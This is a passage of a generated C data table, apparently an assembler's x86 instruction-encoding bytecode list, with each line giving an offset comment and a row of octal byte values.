/* 34434 */ 0262,02,022,01,0367,0110,0,
/* 34441 */ 0262,02,01,01,0367,0110,0,
/* 34448 */ 0262,02,021,01,0367,0110,0,
/* 34455 */ 0262,02,03,01,0367,0110,0,
/* 34462 */ 0262,02,023,01,0367,0110,0,
/* 34469 */ 0320,0333,02,017,0274,0110,0,
/* 34476 */ 0321,0333,02,017,0274,0110,0,
/* 34483 */ 0324,0333,02,017,0274,0110,0,
/* 34490 */ 0260,0111,0,01,01,0214,0,
/* 34497 */ 0260,0111,020,01,01,0214,0,
/* 34504 */ 0260,0111,0,01,01,0217,0,
/* 34511 */ 0260,0111,020,01,01,0217,0,
/* 34518 */ 0323,0333,02,017,032,0110,0,
/* 34525 */ 0323,0332,02,017,032,0110,0,
/* 34532 */ 0323,0332,02,017,033,0110,0,
/* 34539 */ 03,017,072,0314,0110,022,0,
/* 34546 */ 0261,01,05,01,0112,0120,0,
/* 34553 */ 0261,01,025,01,0112,0120,0,
/* 34560 */ 0261,01,024,01,0112,0120,0,
/* 34567 */ 0261,01,04,01,0112,0120,0,
/* 34574 */ 0261,01,05,01,0101,0120,0,
/* 34581 */ 0261,01,025,01,0101,0120,0,
/* 34588 */ 0261,01,05,01,0102,0120,0,
/* 34595 */ 0261,01,025,01,0102,0120,0,
/* 34602 */ 0261,01,024,01,0102,0120,0,
/* 34609 */ 0261,01,04,01,0102,0120,0,
/* 34616 */ 0261,01,024,01,0101,0120,0,
/* 34623 */ 0261,01,04,01,0101,0120,0,
/* 34630 */ 0270,01,01,01,0220,0110,0,
/* 34637 */ 0270,01,01,01,0221,0101,0,
/* 34644 */ 0270,01,01,01,0222,0110,0,
/* 34651 */ 0270,01,01,01,0223,0110,0,
/* 34658 */ 0270,01,021,01,0220,0110,0,
/* 34665 */ 0270,01,021,01,0221,0101,0,
/* 34672 */ 0270,01,03,01,0222,0110,0,
/* 34679 */ 0270,01,03,01,0223,0110,0,
/* 34686 */ 0270,01,020,01,0220,0110,0,
/* 34693 */ 0270,01,020,01,0221,0101,0,
/* 34700 */ 0270,01,023,01,0222,0110,0,
/* 34707 */ 0270,01,023,01,0223,0110,0,
/* 34714 */ 0270,01,0,01,0220,0110,0,
/* 34721 */ 0270,01,0,01,0221,0101,0,
/* 34728 */ 0270,01,0,01,0222,0110,0,
/* 34735 */ 0270,01,0,01,0223,0110,0,
/* 34742 */ 0270,01,01,01,0104,0110,0,
/* 34749 */ 0270,01,021,01,0104,0110,0,
/* 34756 */ 0270,01,020,01,0104,0110,0,
/* 34763 */ 0270,01,0,01,0104,0110,0,
/* 34770 */ 0261,01,05,01,0105,0120,0,
/* 34777 */ 0261,01,025,01,0105,0120,0,
/* 34784 */ 0261,01,024,01,0105,0120,0,
/* 34791 */ 0270,01,01,01,0230,0110,0,
/* 34798 */ 0270,01,021,01,0230,0110,0,
/* 34805 */ 0270,01,020,01,0230,0110,0,
/* 34812 */ 0270,01,0,01,0230,0110,0,
/* 34819 */ 0261,01,04,01,0105,0120,0,
/* 34826 */ 0270,01,01,01,0231,0110,0,
/* 34833 */ 0270,01,021,01,0231,0110,0,
/* 34840 */ 0270,01,020,01,0231,0110,0,
/* 34847 */ 0270,01,0,01,0231,0110,0,
/* 34854 */ 0261,01,05,01,0113,0120,0,
/* 34861 */ 0261,01,024,01,0113,0120,0,
/* 34868 */ 0261,01,04,01,0113,0120,0,
/* 34875 */ 0261,01,05,01,0106,0120,0,
/* 34882 */ 0261,01,025,01,0106,0120,0,
/* 34889 */ 0261,01,024,01,0106,0120,0,
/* 34896 */ 0261,01,04,01,0106,0120,0,
/* 34903 */ 0261,01,05,01,0107,0120,0,
/* 34910 */ 0261,01,025,01,0107,0120,0,
/* 34917 */ 0261,01,024,01,0107,0120,0,
/* 34924 */ 0261,01,04,01,0107,0120,0,
/* 34931 */ 0323,0333,02,017,0307,0207,0,
/* 34938 */ 0360,03,017,070,0371,0101,0,
/* 34945 */ 0324,03,017,070,0371,0101,0,
/* 34952 */ 0310,0333,02,017,0256,0206,0,
/* 34959 */ 0311,0333,02,017,0256,0206,0,
/* 34966 */ 0313,0333,02,017,0256,0206,0,
/* 34973 */ 0361,03,017,070,0317,0110,0,
/* 34980 */ 0261,02,01,01,0317,0120,0,
/* 34987 */ 0260,02,01,01,0317,0110,0,
/* 34994 */ 0261,02,05,01,0317,0120,0,
/* 35001 */ 0260,02,05,01,0317,0110,0,
/* 35008 */ 0273,0320,01,021,0101,0,
/* 35014 */ 0273,0321,01,021,0101,0,
/* 35020 */ 0273,0324,01,021,0101,0,
/* 35026 */ 0273,01,0200,0202,021,0,
/* 35032 */ 0273,01,0202,0202,021,0,
/* 35038 */ 0273,0320,01,01,0101,0,
/* 35044 */ 0273,0321,01,01,0101,0,
/* 35050 */ 0273,0324,01,01,0101,0,
/* 35056 */ 0273,01,0200,0200,021,0,
/* 35062 */ 0273,01,0202,0200,021,0,
/* 35068 */ 0273,0320,01,041,0101,0,
/* 35074 */ 0273,0321,01,041,0101,0,
/* 35080 */ 0273,0324,01,041,0101,0,
/* 35086 */ 0273,01,0200,0204,021,0,
/* 35092 */ 0273,01,0202,0204,021,0,
/* 35098 */ 0321,01,017,010,0310,0,
/* 35104 */ 0324,01,017,010,0310,0,
/* 35110 */ 0320,02,017,0243,0101,0,
/* 35116 */ 0321,02,017,0243,0101,0,
/* 35122 */ 0324,02,017,0243,0101,0,
/* 35128 */ 0322,01,0232,034,074,0,
/* 35134 */ 0320,01,0232,034,074,0,
/* 35140 */ 0321,01,0232,034,074,0,
/* 35146 */ 0322,01,0232,035,030,0,
/* 35152 */ 0320,01,0232,031,030,0,
/* 35158 */ 0321,01,0232,041,030,0,
/* 35164 */ 0320,01,0203,0207,0275,0,
/* 35170 */ 0321,01,0203,0207,0275,0,
/* 35176 */ 0324,01,0203,0207,0275,0,
/* 35182 */ 0320,01,0201,0207,031,0,
/* 35188 */ 0321,01,0201,0207,041,0,
/* 35194 */ 0324,01,0201,0207,0255,0,
/* 35200 */ 0273,02,017,0260,0101,0,
/* 35206 */ 0320,02,017,0247,0101,0,
/* 35212 */ 0321,02,017,0247,0101,0,
/* 35218 */ 0324,02,017,0307,0201,0,
/* 35224 */ 0273,0320,01,0377,0201,0,
/* 35230 */ 0273,0321,01,0377,0201,0,
/* 35236 */ 0273,0324,01,0377,0201,0,
/* 35242 */ 0320,02,017,0257,0110,0,
/* 35248 */ 0321,02,017,0257,0110,0,
/* 35254 */ 0324,02,017,0257,0110,0,
/* 35260 */ 0320,01,0153,0110,0276,0,
/* 35266 */ 0320,01,0151,0110,032,0,
/* 35272 */ 0321,01,0153,0110,0276,0,
/* 35278 */ 0321,01,0151,0110,042,0,
/* 35284 */ 0324,01,0153,0110,0276,0,
/* 35290 */ 0324,01,0151,0110,042,0,
/* 35296 */ 0324,01,0151,0110,0256,0,
/* 35302 */ 0320,01,0153,0100,0275,0,
/* 35308 */ 0320,01,0151,0100,031,0,
/* 35314 */ 0321,01,0153,0100,0275,0,
/* 35320 */ 0321,01,0151,0100,041,0,
/* 35326 */ 0324,01,0153,0100,0275,0,
/* 35332 */ 0324,01,0151,0100,0255,0,
/* 35338 */ 0273,0320,01,0377,0200,0,
/* 35344 */ 0273,0321,01,0377,0200,0,
/* 35350 */ 0273,0324,01,0377,0200,0,
/* 35356 */ 0310,03,017,01,0337,0,
/* 35362 */ 0311,03,017,01,0337,0,
/* 35368 */ 0322,01,0352,034,074,0,
/* 35374 */ 0320,01,0352,034,074,0,
/* 35380 */ 0321,01,0352,034,074,0,
/* 35386 */ 0322,01,0352,035,030,0,
/* 35392 */ 0320,01,0352,031,030,0,
/* 35398 */ 0321,01,0352,041,030,0,
/* 35404 */ 0322,02,017,0270,064,0,
/* 35410 */ 0320,02,017,0270,064,0,
/* 35416 */ 0321,02,017,0270,064,0,
/* 35422 */ 0320,02,017,0,0206,0,
/* 35428 */ 0321,02,017,0,0206,0,
/* 35434 */ 0320,02,017,02,0110,0,
/* 35440 */ 0321,02,017,02,0110,0,
/* 35446 */ 0324,02,017,02,0110,0,
/* 35452 */ 0360,03,017,0256,0350,0,
/* 35458 */ 0320,02,017,0264,0110,0,
/* 35464 */ 0321,02,017,0264,0110,0,
/* 35470 */ 0324,02,017,0264,0110,0,
/* 35476 */ 0320,02,017,0265,0110,0,
/* 35482 */ 0321,02,017,0265,0110,0,
/* 35488 */ 0324,02,017,0265,0110,0,
/* 35494 */ 0320,02,017,03,0110,0,
/* 35500 */ 0321,02,017,03,0110,0,
/* 35506 */ 0324,02,017,03,0110,0,
/* 35512 */ 0320,02,017,0262,0110,0,
/* 35518 */ 0321,02,017,0262,0110,0,
/* 35524 */ 0324,02,017,0262,0110,0,
/* 35530 */ 0360,03,017,0256,0360,0,
/* 35536 */ 0334,02,017,040,0101,0,
/* 35542 */ 0323,02,017,040,0101,0,
/* 35548 */ 0334,02,017,042,0110,0,
/* 35554 */ 0323,02,017,042,0110,0,
/* 35560 */ 0323,02,017,041,0101,0,
/* 35566 */ 0323,02,017,043,0110,0,
/* 35572 */ 0271,0320,01,0211,0101,0,
/* 35578 */ 0271,0321,01,0211,0101,0,
/* 35584 */ 0271,0324,01,0211,0101,0,
/* 35590 */ 0271,01,0306,0200,021,0,
/* 35596 */ 0360,02,017,0156,0110,0,
/* 35602 */ 0360,02,017,0176,0101,0,
/* 35608 */ 0360,02,017,0157,0110,0,
/* 35614 */ 0360,02,017,0177,0101,0,
/* 35620 */ 0320,02,017,0276,0110,0,
/* 35626 */ 0321,02,017,0276,0110,0,
/* 35632 */ 0321,02,017,0277,0110,0,
/* 35638 */ 0324,02,017,0276,0110,0,
/* 35644 */ 0324,02,017,0277,0110,0,
/* 35650 */ 0320,02,017,0266,0110,0,
/* 35656 */ 0321,02,017,0266,0110,0,
/* 35662 */ 0321,02,017,0267,0110,0,
/* 35668 */ 0324,02,017,0266,0110,0,
/* 35674 */ 0324,02,017,0267,0110,0,
/* 35680 */ 0273,0320,01,0367,0203,0,
/* 35686 */ 0273,0321,01,0367,0203,0,
/* 35692 */ 0273,0324,01,0367,0203,0,
/* 35698 */ 0320,02,017,037,0200,0,
/* 35704 */ 0321,02,017,037,0200,0,
/* 35710 */ 0324,02,017,037,0200,0,
/* 35716 */ 0273,0320,01,0367,0202,0,
/* 35722 */ 0273,0321,01,0367,0202,0,
/* 35728 */ 0273,0324,01,0367,0202,0,
/* 35734 */ 0273,0320,01,011,0101,0,
/* 35740 */ 0273,0321,01,011,0101,0,
/* 35746 */ 0273,0324,01,011,0101,0,
/* 35752 */ 0273,01,0200,0201,021,0,
/* 35758 */ 0273,01,0202,0201,021,0,
/* 35764 */ 0323,02,017,0121,0110,0,
/* 35770 */ 0323,02,017,0120,0110,0,
/* 35776 */ 0323,02,017,0122,0110,0,
/* 35782 */ 0323,02,017,0135,0110,0,
/* 35788 */ 0323,02,017,0131,0110,0,
/* 35794 */ 0323,02,017,0125,0110,0,
/* 35800 */ 0320,01,0301,0202,025,0,
/* 35806 */ 0321,01,0301,0202,025,0,
/* 35812 */ 0324,01,0301,0202,025,0,
/* 35818 */ 0320,01,0301,0203,025,0,
/* 35824 */ 0321,01,0301,0203,025,0,
/* 35830 */ 0324,01,0301,0203,025,0,
/* 35836 */ 0321,02,017,066,0200,0,
/* 35842 */ 0320,01,0301,0200,025,0,
/* 35848 */ 0321,01,0301,0200,025,0,
/* 35854 */ 0324,01,0301,0200,025,0,
/* 35860 */ 0320,01,0301,0201,025,0,
/* 35866 */ 0321,01,0301,0201,025,0,
/* 35872 */ 0324,01,0301,0201,025,0,
/* 35878 */ 0320,01,0301,0204,025,0,
/* 35884 */ 0321,01,0301,0204,025,0,
/* 35890 */ 0324,01,0301,0204,025,0,
/* 35896 */ 0320,01,0301,0207,025,0,
/* 35902 */ 0321,01,0301,0207,025,0,
/* 35908 */ 0324,01,0301,0207,025,0,
/* 35914 */ 0273,0320,01,031,0101,0,
/* 35920 */ 0273,0321,01,031,0101,0,
/* 35926 */ 0273,0324,01,031,0101,0,
/* 35932 */ 0273,01,0200,0203,021,0,
/* 35938 */ 0273,01,0202,0203,021,0,
/* 35944 */ 0360,03,017,0256,0370,0,
/* 35950 */ 0320,02,017,0245,0101,0,
/* 35956 */ 0321,02,017,0245,0101,0,
/* 35962 */ 0324,02,017,0245,0101,0,
/* 35968 */ 0320,01,0301,0205,025,0,
/* 35974 */ 0321,01,0301,0205,025,0,
/* 35980 */ 0324,01,0301,0205,025,0,
/* 35986 */ 0320,02,017,0255,0101,0,
/* 35992 */ 0321,02,017,0255,0101,0,
/* 35998 */ 0324,02,017,0255,0101,0,
/* 36004 */ 0320,02,017,0,0200,0,
/* 36010 */ 0321,02,017,0,0200,0,
/* 36016 */ 0323,02,017,0,0200,0,
/* 36022 */ 0324,02,017,0,0200,0,
/* 36028 */ 0320,02,017,01,0204,0,
/* 36034 */ 0321,02,017,01,0204,0,
/* 36040 */ 0324,02,017,01,0204,0,
/* 36046 */ 0320,02,017,0,0201,0,
/* 36052 */ 0321,02,017,0,0201,0,
/* 36058 */ 0324,02,017,0,0201,0,
/* 36064 */ 0273,0320,01,051,0101,0,
/* 36070 */ 0273,0321,01,051,0101,0,
/* 36076 */ 0273,0324,01,051,0101,0,
/* 36082 */ 0273,01,0200,0205,021,0,
/* 36088 */ 0273,01,0202,0205,021,0,
/* 36094 */ 0320,01,0367,0200,031,0,
/* 36100 */ 0321,01,0367,0200,041,0,
/* 36106 */ 0324,01,0367,0200,0255,0,
/* 36112 */ 0320,02,017,0377,0110,0,
/* 36118 */ 0321,02,017,0377,0110,0,
/* 36124 */ 0324,02,017,0377,0110,0,
/* 36130 */ 0320,02,017,0271,0110,0,
/* 36136 */ 0321,02,017,0271,0110,0,
/* 36142 */ 0324,02,017,0271,0110,0,
/* 36148 */ 0360,02,017,020,0101,0,
/* 36154 */ 0360,02,017,022,0110,0,
/* 36160 */ 0321,02,017,067,0200,0,
/* 36166 */ 0273,02,017,0300,0101,0,
/* 36172 */ 0320,02,017,0246,0110,0,
/* 36178 */ 0321,02,017,0246,0110,0,
/* 36184 */ 0272,0320,01,0207,0110,0,
/* 36190 */ 0272,0321,01,0207,0110,0,
/* 36196 */ 0272,0324,01,0207,0110,0,
/* 36202 */ 0272,0320,01,0207,0101,0,
/* 36208 */ 0272,0321,01,0207,0101,0,
/* 36214 */ 0272,0324,01,0207,0101,0,
/* 36220 */ 0273,0320,01,061,0101,0,
/* 36226 */ 0273,0321,01,061,0101,0,
/* 36232 */ 0273,0324,01,061,0101,0,
/* 36238 */ 0273,01,0200,0206,021,0,
/* 36244 */ 0273,01,0202,0206,021,0,
/* 36250 */ 01,017,0330,0220,0200,0,
/* 36256 */ 0360,02,017,0130,0110,0,
/* 36262 */ 0333,02,017,0130,0110,0,
/* 36268 */ 0360,02,017,0125,0110,0,
/* 36274 */ 0360,02,017,0124,0110,0,
/* 36280 */ 0360,02,017,057,0110,0,
/* 36286 */ 0360,02,017,052,0110,0,
/* 36292 */ 0360,02,017,055,0110,0,
/* 36298 */ 0360,02,017,054,0110,0,
/* 36304 */ 0360,02,017,0136,0110,0,
/* 36310 */ 0333,02,017,0136,0110,0,
/* 36316 */ 0360,02,017,0256,0202,0,
/* 36322 */ 0360,02,017,0137,0110,0,
/* 36328 */ 0333,02,017,0137,0110,0,
/* 36334 */ 0360,02,017,0135,0110,0,
/* 36340 */ 0333,02,017,0135,0110,0,
/* 36346 */ 0360,02,017,050,0110,0,
/* 36352 */ 0360,02,017,051,0101,0,
/* 36358 */ 0360,02,017,026,0110,0,
/* 36364 */ 0360,02,017,027,0101,0,
/* 36370 */ 0360,02,017,023,0101,0,
/* 36376 */ 0360,02,017,0120,0110,0,
/* 36382 */ 0360,02,017,053,0101,0,
/* 36388 */ 0333,02,017,020,0110,0,
/* 36394 */ 0333,02,017,021,0101,0,
/* 36400 */ 0360,02,017,020,0110,0,
/* 36406 */ 0360,02,017,021,0101,0,
/* 36412 */ 0360,02,017,0131,0110,0,
/* 36418 */ 0333,02,017,0131,0110,0,
/* 36424 */ 0360,02,017,0126,0110,0,
/* 36430 */ 0360,02,017,0123,0110,0,
/* 36436 */ 0333,02,017,0123,0110,0,
/* 36442 */ 0360,02,017,0122,0110,0,
/* 36448 */ 0333,02,017,0122,0110,0,
/* 36454 */ 0360,02,017,0121,0110,0,
/* 36460 */ 0333,02,017,0121,0110,0,
/* 36466 */ 0360,02,017,0256,0203,0,
/* 36472 */ 0360,02,017,0134,0110,0,
/* 36478 */ 0333,02,017,0134,0110,0,
/* 36484 */ 0360,02,017,056,0110,0,
/* 36490 */ 0360,02,017,025,0110,0,
/* 36496 */ 0360,02,017,024,0110,0,
/* 36502 */ 0360,02,017,0127,0110,0,
/* 36508 */ 0360,02,017,0367,0110,0,
/* 36514 */ 0360,02,017,0347,0101,0,
/* 36520 */ 0360,02,017,0327,0110,0,
/* 36526 */ 0361,02,017,0367,0110,0,
/* 36532 */ 0360,02,017,0256,0207,0,
/* 36538 */ 0361,02,017,0347,0101,0,
/* 36544 */ 0361,02,017,053,0101,0,
/* 36550 */ 0361,02,017,0157,0110,0,
/* 36556 */ 0361,02,017,0177,0101,0,
/* 36562 */ 0333,02,017,0157,0110,0,
/* 36568 */ 0333,02,017,0177,0101,0,
/* 36574 */ 0332,02,017,0326,0110,0,
/* 36580 */ 0333,02,017,0176,0110,0,
/* 36586 */ 0361,02,017,0326,0101,0,
/* 36592 */ 0333,02,017,0326,0110,0,
/* 36598 */ 0361,02,017,0143,0110,0,
/* 36604 */ 0361,02,017,0153,0110,0,
/* 36610 */ 0361,02,017,0147,0110,0,
/* 36616 */ 0361,02,017,0374,0110,0,
/* 36622 */ 0361,02,017,0375,0110,0,
/* 36628 */ 0361,02,017,0376,0110,0,
/* 36634 */ 0360,02,017,0324,0110,0,
/* 36640 */ 0361,02,017,0324,0110,0,
/* 36646 */ 0361,02,017,0354,0110,0,
/* 36652 */ 0361,02,017,0355,0110,0,
/* 36658 */ 0361,02,017,0334,0110,0,
/* 36664 */ 0361,02,017,0335,0110,0,
/* 36670 */ 0361,02,017,0333,0110,0,
/* 36676 */ 0361,02,017,0337,0110,0,
/* 36682 */ 0361,02,017,0340,0110,0,
/* 36688 */ 0361,02,017,0343,0110,0,
/* 36694 */ 0361,02,017,0164,0110,0,
/* 36700 */ 0361,02,017,0165,0110,0,
/* 36706 */ 0361,02,017,0166,0110,0,
/* 36712 */ 0361,02,017,0144,0110,0,
/* 36718 */ 0361,02,017,0145,0110,0,
/* 36724 */ 0361,02,017,0146,0110,0,
/* 36730 */ 0361,02,017,0365,0110,0,
/* 36736 */ 0361,02,017,0356,0110,0,
/* 36742 */ 0361,02,017,0336,0110,0,
/* 36748 */ 0361,02,017,0352,0110,0,
/* 36754 */ 0361,02,017,0332,0110,0,
/* 36760 */ 0361,02,017,0327,0110,0,
/* 36766 */ 0361,02,017,0344,0110,0,
/* 36772 */ 0361,02,017,0345,0110,0,
/* 36778 */ 0361,02,017,0325,0110,0,
/* 36784 */ 0361,02,017,0364,0110,0,
/* 36790 */ 0361,02,017,0353,0110,0,
/* 36796 */ 0361,02,017,0366,0110,0,
/* 36802 */ 0361,02,017,0361,0110,0,
/* 36808 */ 0361,02,017,0362,0110,0,
/* 36814 */ 0361,02,017,0363,0110,0,
/* 36820 */ 0361,02,017,0341,0110,0,
/* 36826 */ 0361,02,017,0342,0110,0,
/* 36832 */ 0361,02,017,0321,0110,0,
/* 36838 */ 0361,02,017,0322,0110,0,
/* 36844 */ 0361,02,017,0323,0110,0,
/* 36850 */ 0361,02,017,0370,0110,0,
/* 36856 */ 0361,02,017,0371,0110,0,
/* 36862 */ 0361,02,017,0372,0110,0,
/* 36868 */ 0361,02,017,0373,0110,0,
/* 36874 */ 0361,02,017,0350,0110,0,
/* 36880 */ 0361,02,017,0351,0110,0,
/* 36886 */ 0361,02,017,0330,0110,0,
/* 36892 */ 0361,02,017,0331,0110,0,
/* 36898 */ 0361,02,017,0150,0110,0,
/* 36904 */ 0361,02,017,0151,0110,0,
/* 36910 */ 0361,02,017,0152,0110,0,
/* 36916 */ 0361,02,017,0155,0110,0,
/* 36922 */ 0361,02,017,0140,0110,0,
/* 36928 */ 0361,02,017,0141,0110,0,
/* 36934 */ 0361,02,017,0142,0110,0,
/* 36940 */ 0361,02,017,0154,0110,0,
/* 36946 */ 0361,02,017,0357,0110,0,
/* 36952 */ 0361,02,017,0130,0110,0,
/* 36958 */ 0332,02,017,0130,0110,0,
/* 36964 */ 0361,02,017,0125,0110,0,
/* 36970 */ 0361,02,017,0124,0110,0,
/* 36976 */ 0361,02,017,057,0110,0,
/* 36982 */ 0333,02,017,0346,0110,0,
/* 36988 */ 0360,02,017,0133,0110,0,
/* 36994 */ 0332,02,017,0346,0110,0,
/* 37000 */ 0361,02,017,055,0110,0,
/* 37006 */ 0361,02,017,0132,0110,0,
/* 37012 */ 0361,02,017,052,0110,0,
/* 37018 */ 0361,02,017,0133,0110,0,
/* 37024 */ 0360,02,017,0132,0110,0,
/* 37030 */ 0332,02,017,0132,0110,0,
/* 37036 */ 0333,02,017,0132,0110,0,
/* 37042 */ 0361,02,017,054,0110,0,
/* 37048 */ 0361,02,017,0346,0110,0,
/* 37054 */ 0333,02,017,0133,0110,0,
/* 37060 */ 0361,02,017,0136,0110,0,
/* 37066 */ 0332,02,017,0136,0110,0,
/* 37072 */ 0361,02,017,0137,0110,0,
/* 37078 */ 0332,02,017,0137,0110,0,
/* 37084 */ 0361,02,017,0135,0110,0,
/* 37090 */ 0332,02,017,0135,0110,0,
/* 37096 */ 0361,02,017,050,0110,0,
/* 37102 */ 0361,02,017,051,0101,0,
/* 37108 */ 0361,02,017,027,0101,0,
/* 37114 */ 0361,02,017,026,0110,0,
/* 37120 */ 0361,02,017,023,0101,0,
/* 37126 */ 0361,02,017,022,0110,0,
/* 37132 */ 0361,02,017,0120,0110,0,
/* 37138 */ 0332,02,017,020,0110,0,
/* 37144 */ 0332,02,017,021,0101,0,
/* 37150 */ 0361,02,017,020,0110,0,
/* 37156 */ 0361,02,017,021,0101,0,
/* 37162 */ 0361,02,017,0131,0110,0,
/* 37168 */ 0332,02,017,0131,0110,0,
/* 37174 */ 0361,02,017,0126,0110,0,
/* 37180 */ 0361,02,017,0121,0110,0,
/* 37186 */ 0332,02,017,0121,0110,0,
/* 37192 */ 0361,02,017,0134,0110,0,
/* 37198 */ 0332,02,017,0134,0110,0,
/* 37204 */ 0361,02,017,056,0110,0,
/* 37210 */ 0361,02,017,025,0110,0,
/* 37216 */ 0361,02,017,024,0110,0,
/* 37222 */ 0361,02,017,0127,0110,0,
/* 37228 */ 0361,02,017,0320,0110,0,
/* 37234 */ 0332,02,017,0320,0110,0,
/* 37240 */ 0361,02,017,0174,0110,0,
/* 37246 */ 0332,02,017,0174,0110,0,
/* 37252 */ 0361,02,017,0175,0110,0,
/* 37258 */ 0332,02,017,0175,0110,0,
/* 37264 */ 0332,02,017,0360,0110,0,
/* 37270 */ 0332,02,017,022,0110,0,
/* 37276 */ 0333,02,017,026,0110,0,
/* 37282 */ 0333,02,017,022,0110,0,
/* 37288 */ 0361,02,017,0307,0206,0,
/* 37294 */ 0360,02,017,0307,0206,0,
/* 37300 */ 0360,02,017,0307,0207,0,
/* 37306 */ 0333,02,017,0307,0206,0,
/* 37312 */ 0361,02,017,0171,0110,0,
/* 37318 */ 0332,02,017,0171,0110,0,
/* 37324 */ 0332,02,017,053,0101,0,
/* 37330 */ 0333,02,017,053,0101,0,
/* 37336 */ 0270,01,04,01,0167,0,
/* 37342 */ 0270,01,0,01,0167,0,
/* 37348 */ 0320,02,017,0307,0206,0,
/* 37354 */ 0321,02,017,0307,0206,0,
/* 37360 */ 0324,02,017,0307,0206,0,
/* 37366 */ 0320,02,017,0307,0207,0,
/* 37372 */ 0321,02,017,0307,0207,0,
/* 37378 */ 0324,02,017,0307,0207,0,
/* 37384 */ 0336,03,017,0247,0310,0,
/* 37390 */ 0336,03,017,0247,0320,0,
/* 37396 */ 0336,03,017,0247,0330,0,
/* 37402 */ 0336,03,017,0247,0340,0,
/* 37408 */ 0336,03,017,0247,0350,0,
/* 37414 */ 0336,03,017,0246,0300,0,
/* 37420 */ 0336,03,017,0246,0310,0,
/* 37426 */ 0336,03,017,0246,0320,0,
/* 37432 */ 0322,02,0307,0370,064,0,
/* 37438 */ 0320,02,0307,0370,064,0,
/* 37444 */ 0321,02,0307,0370,064,0,
/* 37450 */ 0323,02,0307,0370,064,0,
/* 37456 */ 0333,02,017,033,0110,0,
/* 37462 */ 0361,02,017,032,0110,0,
/* 37468 */ 0361,02,017,033,0101,0,
/* 37474 */ 02,017,032,016,0110,0,
/* 37480 */ 02,017,033,015,0102,0,
/* 37486 */ 02,017,033,016,0101,0,
/* 37492 */ 03,017,070,0311,0110,0,
/* 37498 */ 03,017,070,0312,0110,0,
/* 37504 */ 03,017,070,0310,0110,0,
/* 37510 */ 03,017,070,0314,0110,0,
/* 37516 */ 03,017,070,0315,0110,0,
/* 37522 */ 03,017,070,0313,0110,0,
/* 37528 */ 0361,02,017,0256,0207,0,
/* 37534 */ 0361,02,017,0256,0206,0,
/* 37540 */ 0361,03,017,0256,0370,0,
/* 37546 */ 0310,03,017,01,0374,0,
/* 37552 */ 0311,03,017,01,0374,0,
/* 37558 */ 0313,03,017,01,0374,0,
/* 37564 */ 0360,02,017,034,0200,0,
/* 37570 */ 0360,03,017,01,0305,0,
/* 37576 */ 0332,02,017,0256,0206,0,
/* 37582 */ 0360,03,017,01,0317,0,
/* 37588 */ 0360,03,017,01,0327,0,
/* 37594 */ 0360,03,017,01,0300,0,
/* 37600 */ 0320,02,017,030,0200,0,
/* 37606 */ 0321,02,017,030,0200,0,
/* 37612 */ 0324,02,017,030,0200,0,
/* 37618 */ 0320,02,017,030,0201,0,
/* 37624 */ 0321,02,017,030,0201,0,
/* 37630 */ 0324,02,017,030,0201,0,
/* 37636 */ 0320,02,017,030,0202,0,
/* 37642 */ 0321,02,017,030,0202,0,
/* 37648 */ 0324,02,017,030,0202,0,
/* 37654 */ 0320,02,017,030,0203,0,
/* 37660 */ 0321,02,017,030,0203,0,
/* 37666 */ 0324,02,017,030,0203,0,
/* 37672 */ 0320,02,017,030,0204,0,
/* 37678 */ 0321,02,017,030,0204,0,
/* 37684 */ 0324,02,017,030,0204,0,
/* 37690 */ 0320,02,017,030,0205,0,
/* 37696 */ 0321,02,017,030,0205,0,
/* 37702 */ 0324,02,017,030,0205,0,
/* 37708 */ 0320,02,017,030,0206,0,
/* 37714 */ 0321,02,017,030,0206,0,
/* 37720 */ 0324,02,017,030,0206,0,
/* 37726 */ 0320,02,017,030,0207,0,
/* 37732 */ 0321,02,017,030,0207,0,
/* 37738 */ 0324,02,017,030,0207,0,
/* 37744 */ 0320,02,017,031,0200,0,
/* 37750 */ 0321,02,017,031,0200,0,
/* 37756 */ 0324,02,017,031,0200,0,
/* 37762 */ 0320,02,017,031,0201,0,
/* 37768 */ 0321,02,017,031,0201,0,
/* 37774 */ 0324,02,017,031,0201,0,
/* 37780 */ 0320,02,017,031,0202,0,
/* 37786 */ 0321,02,017,031,0202,0,
/* 37792 */ 0324,02,017,031,0202,0,
/* 37798 */ 0320,02,017,031,0203,0,
/* 37804 */ 0321,02,017,031,0203,0,
/* 37810 */ 0324,02,017,031,0203,0,
/* 37816 */ 0320,02,017,031,0204,0,
/* 37822 */ 0321,02,017,031,0204,0,
/* 37828 */ 0324,02,017,031,0204,0,
/* 37834 */ 0320,02,017,031,0205,0,
/* 37840 */ 0321,02,017,031,0205,0,
/* 37846 */ 0324,02,017,031,0205,0,
/* 37852 */ 0320,02,017,031,0206,0,
/* 37858 */ 0321,02,017,031,0206,0,
/* 37864 */ 0324,02,017,031,0206,0,
/* 37870 */ 0320,02,017,031,0207,0,
/* 37876 */ 0321,02,017,031,0207,0,
/* 37882 */ 0324,02,017,031,0207,0,
/* 37888 */ 0320,02,017,032,0200,0,
/* 37894 */ 0321,02,017,032,0200,0,
/* 37900 */ 0324,02,017,032,0200,0,
/* 37906 */ 0320,02,017,032,0201,0,
/* 37912 */ 0321,02,017,032,0201,0,
/* 37918 */ 0324,02,017,032,0201,0,
/* 37924 */ 0320,02,017,032,0202,0,
/* 37930 */ 0321,02,017,032,0202,0,
/* 37936 */ 0324,02,017,032,0202,0,
/* 37942 */ 0320,02,017,032,0203,0,
/* 37948 */ 0321,02,017,032,0203,0,
/* 37954 */ 0324,02,017,032,0203,0,
/* 37960 */ 0320,02,017,032,0204,0,
/* 37966 */ 0321,02,017,032,0204,0,
/* 37972 */ 0324,02,017,032,0204,0,
/* 37978 */ 0320,02,017,032,0205,0,
/* 37984 */ 0321,02,017,032,0205,0,
/* 37990 */ 0324,02,017,032,0205,0,
/* 37996 */ 0320,02,017,032,0206,0,
/* 38002 */ 0321,02,017,032,0206,0,
/* 38008 */ 0324,02,017,032,0206,0,
/* 38014 */ 0320,02,017,032,0207,0,
/* 38020 */ 0321,02,017,032,0207,0,
/* 38026 */ 0324,02,017,032,0207,0,
/* 38032 */ 0320,02,017,033,0200,0,
/* 38038 */ 0321,02,017,033,0200,0,
/* 38044 */ 0324,02,017,033,0200,0,
/* 38050 */ 0320,02,017,033,0201,0,
/* 38056 */ 0321,02,017,033,0201,0,
/* 38062 */ 0324,02,017,033,0201,0,
/* 38068 */ 0320,02,017,033,0202,0,
/* 38074 */ 0321,02,017,033,0202,0,
/* 38080 */ 0324,02,017,033,0202,0,
/* 38086 */ 0320,02,017,033,0203,0,
/* 38092 */ 0321,02,017,033,0203,0,
/* 38098 */ 0324,02,017,033,0203,0,
/* 38104 */ 0320,02,017,033,0204,0,
